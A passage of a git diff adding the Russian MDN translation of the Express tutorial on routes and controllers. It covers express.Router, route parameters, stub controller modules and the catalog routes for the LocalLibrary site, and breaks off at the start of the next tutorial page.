кода Express, связывающая HTTP действия (<code>GET</code>, <code>POST</code>, <code>PUT</code>, <code>DELETE</code>, etc.), URL пути (шаблона), и функцию, которая обрабатывает этот шаблон.</p> + +<p>Есть несколько способов создания маршрутов. В этом уроке мы используем промежуточные запросы <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a>,</code> так как они позволяют группировать обработчики маршрутов для определенной части сайта и получать к ним доступ через общий префикс маршрута. Все маршруты, связанные с библиотекой, будут сохранены в модуле "catalog", и если мы добавим маршруты для обработки учетных записей пользователей или других функций, мы сможем сгруппировать их отдельно.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Маршруты приложения Express уже кратко рассматривались в <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Creating_route_handlers">Express Introduction > Creating route handlers</a> (Введение -> Создание обработчиков маршрутов). Применение <em>Router </em>обеспечивает лучшую поддержку модульности (как обсуждается в первой подсекции ниже), а в остальном очень похоже на определение маршрутов непосредственно в объекте приложения <em>Express</em>.</p> +</div> + +<p>В оставшейся части этого раздела представлен обзор того, как Router может быть использован для определения маршрутов.</p> + +<h3 id="Определение_и_использование_отдельных_модулей_маршрутов">Определение и использование отдельных модулей маршрутов</h3> + +<p>Код ниже является реальным примером того, как можно создать модуль маршрута, а затем использовать его в приложении <em>Express</em>.</p> + +<p>Первым делом в модуле <strong>wiki.js </strong>создадим маршруты для wiki . Код сначала импортирует объект приложения Express, использует его для получения объекта <code>Router</code> и затем, применяя метод <code>get(),</code> добавляет к объекту пару маршрутов. В завершение модуль экспортирует объект <code>Router</code> .</p> + +<pre class="brush: js"><code>// wiki.js - Wiki route module. + +var express = require('express'); +var router = express.Router(); + +// Home page route. +router.get('/', function (req, res) { + res.send('Wiki home page'); +}) + +// About page route. +router.get('/about', function (req, res) { + res.send('About this wiki'); +}) + +module.exports = router;</code> + +</pre> + +<div class="note"> +<p><strong>Заметка:</strong> В примере callback-функции обработчиков маршрутов определены непосредственно в функциях роутеров. А в LocalLibrary мы определим эти callback-функции в отдельном модуле контроллера.</p> +</div> + +<p>Чтобы использовать модуль роутера в главном приложении, прежде всего следует выполнить <code>require()</code> модуля маршрута (<strong>wiki.js</strong>). Потом вызовем <code>use()</code> для приложения Express с аргументом, в котором указан URL-путь 'wiki', что добавит Router к пути обработки промежуточного слоя.</p> + +<pre class="brush: js"><code>var wiki = require('./wiki.js'); +// ... +app.use('/wiki', wiki);</code></pre> + +<p>После этого два маршрута, определенные в нашем модуле маршрутов wiki, станут доступны из <code>/wiki/</code> и <code>/wiki/about/</code>.</p> + +<h3 id="Функции_Route">Функции Route</h3> + +<p>В модуле выше определена пара типовых функций маршрута. Маршрут "about" (еще раз показан ниже) определен при помощи метода <code>Router.get()</code>, который отвечает только на HTTP GET-запросы. Первый аргумент метода - URL-путь, а второй - callback-функция, которая будет вызвана, если получен HTTP GET-запрос с указанным путем.</p> + +<pre class="brush: js"><code>router.get('/about', function (req, res) { + res.send('About this wiki'); +})</code> +</pre> + +<p>Эта callback-функция имеет три аргумента takes three arguments (обычно именуемых как указано: <code>req</code>, <code>res</code>, <code>next</code>), которые соответствуют объекту HTTP запроса, ответу HTTP, и <em>следующей</em> <br> + функции в цепочке промежуточных элементов.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Фукции в Router - это промежуточный слой (<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Using_middleware">middleware</a>) are <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Using_middleware">Express </a>, что означает, что они должны или завершить (ответить на) запрос reqили вызвать следующую (<code>next)</code> функцию в цепочке. В нашем случае запрос завершается вызовом <code>send()</code>, поэтому аргумент <code>next</code> не нужен (и поэтому не указан).</p> + +<p>Выше у функции роутера только один callback-аргумент, но можно указать столько таких аргументов, сколько хотите, или указать массив callback-функций. каждая из функций - это элемент в цепочке промежуточного слоя, и они будут вызываться в порядке их добавления в цепочку (если предыдущая функция не завершит запрос).</p> +</div> + +<p>Здесь, когда приходит GET-запрос с путем ('<code>/about'</code>) callback-функция при ответе вызывает <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> , возвращая строку "About this wiki". Существует <a href="https://expressjs.com/en/guide/routing.html#response-methods">ряд других методов ответа</a> , завершающих цикл запрос-ответ. Например, можно вызвать <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> , чтобы послать ответ JSON, или <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a>,</code> чтобы послать файл. Метод ответа, который будет использован чаще всего при построении нашей библиотеки - это <a href="https://expressjs.com/en/4x/api.html#res.render">render()</a>, создающий, на основе шаблонов и данных, и возвращающий HTML-файлы —мы поговорим об этом подробнее в следующей статье!</p> + +<h3 id="HTTP_глаголы_(действия)">HTTP глаголы (действия)</h3> + +<p>Рассмотренный пример использует метод <code>Router.get()</code> для ответа на HTTP GET- запросы с указанным путем.</p> + +<p>Кроме того, <code>Router</code> обеспечивает также методы маршрутизации для других HTTP глаголов, которые обычно используются точно таким же способом: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, и <code>connect()</code>.</p> + +<p>Например, код ниже делает то же, что и предыдущий, с путем <code>/about,</code> но отвечает на HTTP POST-запросы.</p> + +<pre class="brush: js"><code>router.post('/about', function (req, res) { + res.send('About this wiki'); +})</code></pre> + +<h3 id="Маршруты_путей">Маршруты путей</h3> + +<p>Маршруты путей определяют конечные точки, в которых могут быть сделаны запросы. В уже рассмотренных примерах это были просто строки, которые использовались точно так, как были записаны: '/', '/about', '/book', '/any-random.path'.</p> + +<p>Маршруты путей могут быть также образцами строк. Образцы строк используют подмножество синтаксиса регулярных выражений для определения <em>образцов</em> конечных точек, для которых должно проверяться соответствие. Подмножество приведено ниже (отметим, что перенос (<code>-</code>) и точка (<code>.</code>) в путях на основе строк понимаются буквально):</p> + +<ul> + <li>? : Конечная точка должна иметь 0 или 1 предыдущий символ. Так, путь маршрута <code>'/ab?cd'</code> соответствует конечным точкам <code>acd</code> или <code>abcd</code> (т.е. b может присутствовать или нет).</li> + <li>+ : Конечная точка должна иметь 1 или более предыдущих символов. Так, путь маршрута <code>'/ab+cd'</code> будет соответствовать конечным точкам <code>abcd</code>, <code>abbcd</code>, <code>abbbcd</code>, и так далее.</li> + <li>* : Конечная точка может содержать произвольную строку там, где находится символ '*'. Так, путь маршрута <code>'ab\*cd'</code> будет соответствовать конечным точкам <code>abcd</code>, <code>abXcd</code>, <code>abSOMErandomTEXTcd</code>, и так далее.</li> + <li>() : Группировка символов для выполнения другой операции. Так, <code>'/ab(cd)?e'</code> выполнит ?-проверку (0 или 1 появление) для группы (cd) — соответствия таковы: <code>abe</code> и <code>abcde</code>.</li> +</ul> + +<p>Пути маршрутов могут быть также <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">регулярными выражениями</a> JavaScript. Например, путь маршрутов (ниже) будет соответствовать <code>catfish и</code> <code>dogfish</code>, но не <code>catflap</code>, <code>catfishhead</code>, и так далее. Отметим, регулярное выражение как путь использует синтаксис регулярных выражений (это не строка в кавычках, как в предыдущих случаях).</p> + +<pre class="brush: js"><code>app.get(/.*fish$/, function (req, res) { + ... +})</code></pre> + +<div class="note"> +<p><strong>Заметка:</strong> Большинство наших маршрутов для библиотеки будут просто строками, а не образцами строк или регулярными выражениями. Кроме того, будут использоваться параметры маршрутов, что обсуждается в следующем разделе.</p> +</div> + +<h3 id="Параметры_маршрутов">Параметры маршрутов</h3> + +<p>Параметры маршрутов - это <em>именованные сегменты URL</em> , которые используются для выбора значений из указанной позиции URL. Именованные сегменты начинаются двоеточием, после которого следует имя (например, <code>/<strong>:</strong>your_parameter_name/</code>. Выбранные значения сохраняются в объекте <code>req.params,</code> причем имя параметра используется как ключ (т.е. <code>req.params.your_parameter_name</code>).</p> + +<p>Предположим, например, что URL содержит информацию о пользователях и книгах: <code>http://localhost:3000/users/34/books/8989</code>. Можно извлечь эту информацию (см. ниже) в параметры <code>userId</code> и <code>bookId</code> пути:</p> + +<pre><code>app.get('/users/:userId/books/:bookId', function (req, res) { + // доступ к userId через: req.params.userId + // доступ к bookId через: req.params.bookId + res.send(req.params); +}) +</code></pre> + +<p>Имена параметров пути должны состоять из “символов слова” (A-Z, a-z, 0-9, и _).</p> + +<div class="note"> +<p><strong>Заметка:</strong> URL <em>/book/create</em> будет соответствовать маршрутам вида <code>/book/:bookId</code> (и '<code>create</code>' станет значением "bookId"). Будет использован первый маршрут, соответствующий введенному URL, поэтому, если необходимо обрабатывать URL вида <code>/book/create</code> отдельно, обработчик этого маршрута должен быть расположен до маршрута <code>/book/:bookId</code> .</p> +</div> + +<p>Для начала этих сведений достаточно - если потребуется, можно найти дополнительную информацию в документации Express: <a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (основы маршрутизации) и <a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (руководство по маршрутизации). В следующем разделе показано, как задать маршруты и контроллеры для нашей библиотеки LocalLibrary.</p> + +<h2 id="Маршруты_необходимые_для_библиотеки_LocalLibrary">Маршруты, необходимые для библиотеки LocalLibrary</h2> + +<p>Те URL, котрые в итоге будут нужны для наших страниц, показаны ниже. Слово <em>object</em> должно быть заменено на имя каждой из наших моделей (book, bookinstance, genre, author), слово <em>objects</em> - множественное число для <em>object, </em>а <em>id</em> - уникальное значение для поля(<code>_id</code>), которое Mongoose создает по умолчанию для каждого экземпляра модели.</p> + +<ul> + <li><code>catalog/</code> — Домашняя страница home/index.</li> + <li><code>catalog/<objects>/</code> — Список всех книг, экземпляров книг, жанров и авторов (т.е. /<code>catalog/books/</code>, /<code>catalog/genres/</code>, и т.д.)</li> + <li><code>catalog/<object>/<em><id></em></code> — Страница с подробностями для отдельной книги, экземпляра книги, жанра или автора с заданным полем идентификатора <code><em>_id</em></code> (т.е. <code>/catalog/book/584493c1f4887f06c0e67d37)</code>.</li> + <li><code>catalog/<object>/create</code> — Форма для создания новой книги, экземпляра книги, жанра или автора (т.е. <code>/catalog/book/create)</code>.</li> + <li><code>catalog/<object>/<em><id></em>/update</code> — Форма для обновления отдельной книги, экземпляра книги, жанра или автора с заданным идентификатором <code><em>_id</em></code> (т.е. <code>/catalog/book/584493c1f4887f06c0e67d37/update)</code>.</li> + <li><code>catalog/<object>/<em><id></em>/delete</code> — Форма для удаления отдельной книги, экземпляра книги, жанра или автора по заданному идентификатору <code><em>_id</em></code> (т.е. <code>/catalog/book/584493c1f4887f06c0e67d37/delete)</code>.</li> +</ul> + +<p>Первая домашняя страница и страницы со списками не кодируют никакой дополнительной информации. Хотя результаты, возвращаемые запросами, будут зависеть от типа модели и от содержимого БД, запросы для получения этой информации всегда будут одинаковы (подобно тому, как код для создания объектов всегда будет одним и тем же). </p> + +<p>В противоположность этому, другие URL используются для работы с определенными экземплярами документов и моделей— индивидуальность элементов кодируется в URL (как <code><em><id></em></code> выше). Параметры путей используются для извлечения информации и передачи ее в обработчик пути (и в следующей статье мы применим этот прием для того, чтобы динамически определять, какую информацию следует получить из БД). By encoding the information in our URL we only need one route for every resource of a particular type (e.g. one route to handle the display of every single book item).</p> + +<div class="note"> +<p><strong>Заметка</strong>: Express позволяет строить URL любым способом, который вам нравится — можно кодировать информацию в теле URL как показано выше или использовать URL <code>GET</code> -запрос с параметрами (например, <code>/book/?id=6</code>). Какой бы подход вы не применяли, URL должны быть ясными, логичными и читаемыми (ознакомьтесь с советами<a href="https://www.w3.org/Provider/Style/URI"> W3C</a>).</p> +</div> + +<p>Далее мы создадим callback-функции обработчиков маршрутов и код маршрутов для всех указанных выше URL.</p> + +<h2 id="Создаем_callback-функции_обработчиков_маршрутов">Создаем callback-функции обработчиков маршрутов</h2> + +<p>Перед определением маршрутов сначала создадим фиктивные (каркасные) callback-функции, которые они будут вызывать. Эти функции будут храниться в отдельных модулях -"контроллерах" для моделей Book, BookInstance, Genre, и Author (можно использовать любую структуру моделей и файлов, но кажется, что выбранная обеспечивает приемлемую модульность нашего проекта).</p> + +<p>Начнем с создания каталога для контроллеров в корне проекта (<strong>/controllers</strong>), а затем создадим отдельные файлы (модули) контроллеров для работы с моделями:</p> + +<pre>/express-locallibrary-tutorial //корень проекта + <strong>/controllers</strong> + <strong>authorController.js</strong> + <strong>bookController.js</strong> + <strong>bookinstanceController.js</strong> + <strong>genreController.js</strong></pre> + +<h3 id="Контроллер_автора">Контроллер автора</h3> + +<p>Скопируем следующий код в файл <strong>/controllers/authorController.js</strong>:</p> + +<pre class="brush: js">var Author = require('../models/author'); + +// Показать список всех авторов. +exports.author_list = function(req, res) { + res.send('NOT IMPLEMENTED: Author list'); +}; + +// Показать подробную страницу для данного автора. +exports.author_detail = function(req, res) { + res.send('NOT IMPLEMENTED: Author detail: ' + req.params.id); +}; + +// Показать форму создания автора по запросу GET. +exports.author_create_get = function(req, res) { + res.send('NOT IMPLEMENTED: Author create GET'); +}; + +// Создать автора по запросу POST. +exports.author_create_post = function(req, res) { + res.send('NOT IMPLEMENTED: Author create POST'); +}; + +// Показать форму удаления автора по запросу GET. +exports.author_delete_get = function(req, res) { + res.send('NOT IMPLEMENTED: Author delete GET'); +}; + +// Удалить автора по запросу POST. +exports.author_delete_post = function(req, res) { + res.send('NOT IMPLEMENTED: Author delete POST'); +}; + +// Показать форму обновления автора по запросу GET. +exports.author_update_get = function(req, res) { + res.send('NOT IMPLEMENTED: Author update GET'); +}; + +// Обновить автора по запросу POST. +exports.author_update_post = function(req, res) { + res.send('NOT IMPLEMENTED: Author update POST'); +}; +</pre> + +<p>В модуле сначала подключается (requires) модель, которая далее будет использована для получения данных и их обновления. Далее экспортируются функции для каждого URL, который мы хотим обрабатывать (операции create-создать, update-обновить и delete-удалить используют формы, следовательно, должны быть дополнительные методы для обработки post-запросов от форм - эти методы обсуждаются далее, в статье "forms article" ("формы")).</p> + +<p>Все функции имеют стандартную форму функций среднего слоя <em>Express </em>, с арнументами для запроса, ответа и следующей <code>(next)</code> функции, которая должна быть вызвана, если метод не завершил цикл запроса (во всех приведенных в коде случаях - завершает!). Методы просто возвращают строку, информирующую о том, что соответствующая страница еще не создана. Если функция контроллера должна получить параметры маршрута, эти параметры будут выведены в строке сообщения (смотри выше <code>req.params.id</code> ).</p> + +<h4 id="BookInstance_controller">BookInstance controller</h4> + +<p>Скопируйте следующий код в файл <strong>/controllers/bookinstanceController.js</strong> (он построен по образцу модуля контроллера для автора <code>Author</code> ):</p> + +<pre class="brush: js">var BookInstance = require('../models/bookinstance'); + +// Display list of all BookInstances. +exports.bookinstance_list = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance list'); +}; + +// Display detail page for a specific BookInstance. +exports.bookinstance_detail = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance detail: ' + req.params.id); +}; + +// Display BookInstance create form on GET. +exports.bookinstance_create_get = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance create GET'); +}; + +// Handle BookInstance create on POST. +exports.bookinstance_create_post = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance create POST'); +}; + +// Display BookInstance delete form on GET. +exports.bookinstance_delete_get = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance delete GET'); +}; + +// Handle BookInstance delete on POST. +exports.bookinstance_delete_post = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance delete POST'); +}; + +// Display BookInstance update form on GET. +exports.bookinstance_update_get = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance update GET'); +}; + +// Handle bookinstance update on POST. +exports.bookinstance_update_post = function(req, res) { + res.send('NOT IMPLEMENTED: BookInstance update POST'); +}; +</pre> + +<h4 id="Контроллер_жанра">Контроллер жанра</h4> + +<p>Скопируйте следующий код в файл <strong>/controllers/genreController.js</strong> (он построен по образцу модулей контроллеров для автора <code>Author</code> и экземпляра книги <code>BookInstance</code>):</p> + +<pre class="brush: js">var Genre = require('../models/genre'); + +// Display list of all Genre. +exports.genre_list = function(req, res) { + res.send('NOT IMPLEMENTED: Genre list'); +}; + +// Display detail page for a specific Genre. +exports.genre_detail = function(req, res) { + res.send('NOT IMPLEMENTED: Genre detail: ' + req.params.id); +}; + +// Display Genre create form on GET. +exports.genre_create_get = function(req, res) { + res.send('NOT IMPLEMENTED: Genre create GET'); +}; + +// Handle Genre create on POST. +exports.genre_create_post = function(req, res) { + res.send('NOT IMPLEMENTED: Genre create POST'); +}; + +// Display Genre delete form on GET. +exports.genre_delete_get = function(req, res) { + res.send('NOT IMPLEMENTED: Genre delete GET'); +}; + +// Handle Genre delete on POST. +exports.genre_delete_post = function(req, res) { + res.send('NOT IMPLEMENTED: Genre delete POST'); +}; + +// Display Genre update form on GET. +exports.genre_update_get = function(req, res) { + res.send('NOT IMPLEMENTED: Genre update GET'); +}; + +// Handle Genre update on POST. +exports.genre_update_post = function(req, res) { + res.send('NOT IMPLEMENTED: Genre update POST'); +}; +</pre> + +<h4 id="Контроллер_книги">Контроллер книги</h4> + +<p>Скопируйте следующий код в файл <strong>/controllers/bookController.js</strong>. Он построен по образцу других модулей контроллеров, но еще содержит функцию <code>index()</code> для вывода странички с приветствием:</p> + +<pre class="brush: js">var Book = require('../models/book'); + +<strong>exports.index = function(req, res) { + res.send('NOT IMPLEMENTED: Site Home Page'); +};</strong> + +// Display list of all books. +exports.book_list = function(req, res) { + res.send('NOT IMPLEMENTED: Book list'); +}; + +// Display detail page for a specific book. +exports.book_detail = function(req, res) { + res.send('NOT IMPLEMENTED: Book detail: ' + req.params.id); +}; + +// Display book create form on GET. +exports.book_create_get = function(req, res) { + res.send('NOT IMPLEMENTED: Book create GET'); +}; + +// Handle book create on POST. +exports.book_create_post = function(req, res) { + res.send('NOT IMPLEMENTED: Book create POST'); +}; + +// Display book delete form on GET. +exports.book_delete_get = function(req, res) { + res.send('NOT IMPLEMENTED: Book delete GET'); +}; + +// Handle book delete on POST. +exports.book_delete_post = function(req, res) { + res.send('NOT IMPLEMENTED: Book delete POST'); +}; + +// Display book update form on GET. +exports.book_update_get = function(req, res) { + res.send('NOT IMPLEMENTED: Book update GET'); +}; + +// Handle book update on POST. +exports.book_update_post = function(req, res) { + res.send('NOT IMPLEMENTED: Book update POST'); +}; +</pre> + +<h2 id="Создание_модуля_для_маршрута_catalog">Создание модуля для маршрута catalog</h2> + +<p>Далее мы создадим маршруты для всех URL, необходимых веб-сайту<a href="#local_libary_routes"> LocalLibrary</a>, которые будут вызывать функции контроллеров, определенные в предыдущем разделе.</p> + +<p>Каркас приложения уже содержит каталог <strong>./routes</strong>, в котором есть маршруты для <em>index</em> и <em>users</em>. Внутри этого каталога создадим еще один файл маршрутов — <strong>catalog.js</strong> ( см. ниже).</p> + +<pre>/express-locallibrary-tutorial //the project root + /routes + index.js + users.js + <strong>catalog.js</strong></pre> + +<p>Скопируйте приведенный ниже код в файл <strong>/routes/</strong><strong>catalog.js</strong> :</p> + +<pre class="brush: js"><strong>var express = require('express'); +var router = express.Router(); +</strong> +// Требующиеся модули контроллеров. +var book_controller = require('../controllers/bookController'); +var author_controller = require('../controllers/authorController'); +var genre_controller = require('../controllers/genreController'); +var book_instance_controller = require('../controllers/bookinstanceController'); + +/// BOOK ROUTES МАРШРУТЫ КНИГ/// + +// GET catalog home page. +router.get('/', book_controller.index); + +// GET request for creating a Book. NOTE This must come before routes that display Book (uses id). +// GET запрос для создания книги. Должен появиться до маршрута, показывающего книгу(использует id) +router.get('/book/create', book_controller.book_create_get); + +// POST request for creating Book. +router.post('/book/create', book_controller.book_create_post); + +// GET request to delete Book. +router.get('/book/:id/delete', book_controller.book_delete_get); + +// POST request to delete Book. +router.post('/book/:id/delete', book_controller.book_delete_post); + +// GET request to update Book. +router.get('/book/:id/update', book_controller.book_update_get); + +// POST request to update Book. +router.post('/book/:id/update', book_controller.book_update_post); + +// GET request for one Book. +router.get('/book/:id', book_controller.book_detail); + +// GET request for list of all Book items. +router.get('/books', book_controller.book_list); + +/// AUTHOR ROUTES /// + +// GET request for creating Author. NOTE This must come before route for id (i.e. display author). +// GET-запрос для создания автора. Должен появиться до маршрута для id (для вывода автора) +router.get('/author/create', author_controller.author_create_get); + +// POST request for creating Author. +router.post('/author/create', author_controller.author_create_post); + +// GET request to delete Author. +router.get('/author/:id/delete', author_controller.author_delete_get); + +// POST request to delete Author. +router.post('/author/:id/delete', author_controller.author_delete_post); + +// GET request to update Author. +router.get('/author/:id/update', author_controller.author_update_get); + +// POST request to update Author. +router.post('/author/:id/update', author_controller.author_update_post); + +// GET request for one Author. +router.get('/author/:id', author_controller.author_detail); + +// GET request for list of all Authors. +router.get('/authors', author_controller.author_list); + +/// GENRE ROUTES /// + +// GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id). +// GET-запрос для создания жанра. Должен появиться до маршрута, выводящего жанр (( с использованием id) +router.get('/genre/create', genre_controller.genre_create_get); + +//POST request for creating Genre. +router.post('/genre/create', genre_controller.genre_create_post); + +// GET request to delete Genre. +router.get('/genre/:id/delete', genre_controller.genre_delete_get); + +// POST request to delete Genre. +router.post('/genre/:id/delete', genre_controller.genre_delete_post); + +// GET request to update Genre. +router.get('/genre/:id/update', genre_controller.genre_update_get); + +// POST request to update Genre. +router.post('/genre/:id/update', genre_controller.genre_update_post); + +// GET request for one Genre. +router.get('/genre/:id', genre_controller.genre_detail); + +// GET request for list of all Genre. +router.get('/genres', genre_controller.genre_list); + +/// BOOKINSTANCE ROUTES /// + +// GET request for creating a BookInstance. NOTE This must come before route that displays BookInstance (uses id). +// GET-запрос для создания экземпляра книги. Должен появиться до маршрута, выводящего BookInstance с использованием id +router.get('/bookinstance/create', book_instance_controller.bookinstance_create_get); + +// POST request for creating BookInstance. +router.post('/bookinstance/create', book_instance_controller.bookinstance_create_post); + +// GET request to delete BookInstance. +router.get('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_get); + +// POST request to delete BookInstance. +router.post('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_post); + +// GET request to update BookInstance. +router.get('/bookinstance/:id/update', book_instance_controller.bookinstance_update_get); + +// POST request to update BookInstance. +router.post('/bookinstance/:id/update', book_instance_controller.bookinstance_update_post); + +// GET request for one BookInstance. +router.get('/bookinstance/:id', book_instance_controller.bookinstance_detail); + +// GET request for list of all BookInstance. +router.get('/bookinstances', book_instance_controller.bookinstance_list); + +<strong>module.exports = router;</strong> +</pre> + +<p>Модуль загружает Express и использует его для создания объекта <code>Router</code> . В маршутизаторе задаются маршруты и производится их экспорт.</p> + +<p>Маршруты определяют в объекте маршрутизатора или <code>.get()</code> или <code>.post()</code> методы. Все пути заданы как строки (образцы строк и регулярные выражения не использовались). Маршруты, которые взаимодействуют с конкретным ресурсом (скажем, с книгой), для получения из URL идентификатора объекта используют параметры путей.</p> + +<p>Все функции-обработчики импортируются из созданных в предыдущем разделе модулей контроллеров.</p> + +<h3 id="Обновление_модуля_маршрута_index">Обновление модуля маршрута index</h3> + +<p>Все новые маршруты заданы, а маршрут на начальную страницу остался без изменения. Давайте перенаправим его на новую страницу "index", которая создана в каталоге '/catalog'.</p> + +<p>Откройте <strong>/routes/index.js</strong> и замените существущий маршрут нприведенную ниже.</p> + +<pre class="brush: js">// GET home page. +router.get('/', function(req, res) { + res.redirect('/catalog'); +});</pre> + +<div class="note"> +<p><strong>Заметка:</strong> Это первое использование метода ответа <a href="https://expressjs.com/en/4x/api.html#res.redirect">redirect()</a> . Он делает перенаправление на указанную страницу, и по умолчанию устанавливает код возврата HTTP в "302 Found" (найдено). Если требуется, можно изменить код возврата. Путь можно задавать как абсолютный или как относительный.</p> +</div> + +<h3 id="Обновление_app.js">Обновление app.js</h3> + +<p>Завершающий шаг - добавление маршрутов в цепочку промежуточного слоя. Это будет сделано в <code>app.js</code>.</p> + +<p>Откройте файл <strong>app.js</strong> и поместите require для маршрута каталог ниже других маршрутов (добавьте третью строку. показанную ниже, после имеющихся двух строк):</p> + +<pre class="brush: js">var indexRouter = require('./routes/index'); +var usersRouter = require('./routes/users'); +<strong>var catalogRouter = require('./routes/catalog'); //Import routes for "catalog" area of site</strong></pre> + +<p>Далее, добавьте маршрут каталога в стек промежуточного слоя после других маршрутов (добавтьте третью строку после имеющихся двух):</p> + +<pre class="brush: js">app.use('/', indexRouter); +app.use('/users', usersRouter); +<strong>app.use('/catalog', catalogRouter); // Add catalog routes to middleware chain.</strong></pre> + +<div class="note"> +<p><strong>Заметка:</strong> Мы добавили модуль каталога в путь<code>'/catalog'</code>. Этот путь будет предшествовать всем путям, определенным в модуле каталога. Например, для доступа к списку книг URL будет таким: <code>/catalog/books/</code>.</p> +</div> + +<p>Вот так. Теперь у нас есть пути и фиктивные функции, подготовленные для всех URL, которые мы собираемся поддерживать на веб-сайте LocalLibrary.</p> + +<h3 id="Проверка_маршрутов">Проверка маршрутов</h3> + +<p>Чтобы проверить маршруты, сначала запустим веб-сайт обычным способом</p> + +<ul> + <li>Обычный способ + <pre class="brush: bash"><code>// Windows +SET DEBUG=express-locallibrary-tutorial:* & npm start + +// macOS or Linux +DEBUG=express-locallibrary-tutorial:* npm start</code> +</pre> + </li> + <li>Если предварительно установлен <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">nodemon</a>, для запуска можно использовать: + <pre><code>// Windows +SET DEBUG=express-locallibrary-tutorial:* & npm <strong>run devstart</strong> + +// macOS or Linux +</code> DEBUG=express-locallibrary-tutorial:* npm <strong style="font-family: inherit; font-size: 1rem;">run devstart</strong> +</pre> + </li> +</ul> + +<p>После запуска перейдите к совокупности URL нашей LocalLibrary, и проверьте, что не появляется страница ошибки (HTTP 404). Небольшая часть наших URL для удобства приводится ниже:</p> + +<ul> + <li><a href="http://localhost:3000/">http://localhost:3000/</a></li> + <li><a href="http://localhost:3000/catalog">http://localhost:3000/catalog</a></li> + <li><a href="http://localhost:3000/catalog/books">http://localhost:3000/catalog/books</a></li> + <li><a href="http://localhost:3000/catalog/bookinstances/">http://localhost:3000/catalog/bookinstances/</a></li> + <li><a href="http://localhost:3000/catalog/authors/">http://localhost:3000/catalog/authors/</a></li> + <li><a href="http://localhost:3000/catalog/genres/">http://localhost:3000/catalog/genres/</a></li> + <li><a href="http://localhost:3000/catalog/book/5846437593935e2f8c2aa226/">http://localhost:3000/catalog/book/5846437593935e2f8c2aa226</a></li> + <li><a href="http://localhost:3000/catalog/book/create">http://localhost:3000/catalog/book/create</a></li> +</ul> + +<h2 id="Итог">Итог</h2> + +<p>Созданы все маршруты для нашего сайта. Созданы также фиктивные функции контроллеров, которые мы полностью реализуем в последующих статьях. Попутно мы изучили массу базовых сведений о маршрутах Express, и ознакомились с некоторыми подходами по структурированию маршрутов и контроллеров.</p> + +<p>В следующей статье мы создадим настоящую страничку приветствия нашего сайта, для чего используем представления (шаблоны) и данные, хранящиеся в наших моделях.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> Основы маршрутизации (документация Express)</li> + <li><a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> Руководство по маршрутизации (документация Express)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}</p> + + + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html new file mode 100644 index 0000000000..51af5515d4 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/skeleton_website/index.html @@ -0,0 +1,507 @@ +--- +title: 'Учебник Express часть 2: Создание скелета сайта' +slug: Learn/Server-side/Express_Nodejs/skeleton_website +translation_of: Learn/Server-side/Express_Nodejs/skeleton_website +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p> + +<p class="summary">Эта вторая статья в нашем <a 